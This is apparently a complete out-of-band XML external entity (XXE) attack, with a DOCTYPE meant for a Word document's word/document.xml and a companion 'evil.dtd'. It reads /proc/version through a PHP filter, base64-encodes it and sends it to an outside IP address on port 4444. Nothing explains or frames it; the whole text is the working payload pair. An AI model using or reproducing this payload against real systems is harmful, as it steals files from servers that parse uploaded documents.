# word/document.xml
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/read=zlib.deflate/convert.base64-encode/resource=/proc/version">
 <!ENTITY % dtd SYSTEM "http://78.238.253.84:4444/evil.dtd">
 %dtd;
]>

# evil.dtd
<!ENTITY % all "<!ENTITY send SYSTEM 'http://78.238.253.84:4444/?var=%file;'>">
%all;